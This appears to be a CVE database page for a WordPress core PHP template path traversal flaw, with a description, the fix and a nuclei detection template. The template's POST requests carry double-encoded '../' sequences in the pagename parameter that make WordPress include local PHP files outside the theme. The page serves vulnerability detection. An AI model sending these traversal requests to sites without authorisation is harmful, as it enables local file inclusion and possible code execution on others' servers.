Browse / CVEs / CVE-2026-87902
CVE-2026-87902· wordpress / wordpress· CWE-98
WordPress Core - PHP Template Path Traversal
Exploited in the wild. Listed by CISA on 2026-09-25; known to be used by ransomware.
An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.
Impact
An unauthenticated attacker can include local PHP files outside the active theme. Depending on the files present and the PHP configuration, this can disclose sensitive data or lead to arbitrary code execution.
Fix
Update WordPress to a patched maintenance release for the installed branch.
How to confirm it
Send: GET /wp-json/wp/v2/pages?per_page=1&_fields=id ; GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id ; GET /
Positive when: regex("\"id\"\\s*:\\s*[0-9]+", body) || regex("(?:page_id=|page-id-|page-item-)[0-9]+", body) and status_code == 200
Send: POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter ; POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml
Positive when: contains_all(body, "<div id=\"footer\" role=\"contentinfo\">", "having the \"powered by\" link somewhere on your blog") || contains_all(body, "opml version", "generator=\"WordPress") and status_code …Run it with nuclei: nuclei -id CVE-2026-87902 -u <target>
The full check
id: CVE-2026-87902
info:
name: WordPress Core - PHP Template Path Traversal
author: Hadrian,FLX
severity: critical
description: |
An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.
impact: |
An unauthenticated attacker can include local PHP files outside the active theme. Depending on the files present and the PHP configuration, this can disclose sensitive data or lead to arbitrary code execution.
remediation: |
Update WordPress to a patched maintenance release for the installed branch.
reference:
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
- https://github.com/WordPress/WordPress/commit/fdeab470f4b4062462cf8ccdc788f258683c2d6f
- https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.2
cve-id: CVE-2026-87902
epss-score: 0.95769
epss-percentile: 0.99872
cwe-id: CWE-98
metadata:
verified: true
max-request: 6
vendor: wordpress
product: wordpress
framework: wordpress
shodan-query: http.component:"WordPress"
fofa-query: app="WordPress"
tags: cve,cve2026,wordpress,wp-core,lfi,unauth,vkev,kev
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-json/wp/v2/pages?per_page=1&_fields=id HTTP/1.1
Host: {{Hostname}}
- |
GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id HTTP/1.1
Host: {{Hostname}}
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: false
stop-at-first-match: true
matchers:
- type: dsl
internal: true
dsl:
- 'regex("\"id\"\\s*:\\s*[0-9]+", body) || regex("(?:page_id=|page-id-|page-item-)[0-9]+", body)'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: page_id
part: body
internal: true
group: 1
regex:
- '"id"\s*:\s*([0-9]+)'
- '(?:page_id=|page-id-|page-item-)([0-9]+)'
- raw:
- |
POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter HTTP/1.1
Host: {{Hostname}}
Content-Length: 0
- |
POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml HTTP/1.1
Host: {{Hostname}}
Content-Length: 0
stop-at-first-match: true
redirects: false
matchers:
- type: dsl
dsl:
- 'contains_all(body, "<div id=\"footer\" role=\"contentinfo\">", "having the \"powered by\" link somewhere on your blog") || contains_all(body, "opml version", "generator=\"WordPress")'
- 'status_code == 200'
condition: andReferences
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
- https://github.com/WordPress/WordPress/commit/fdeab470f4b4062462cf8ccdc788f258683c2d6f
- https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
Use this check only on systems you are authorised to test. Where the data comes from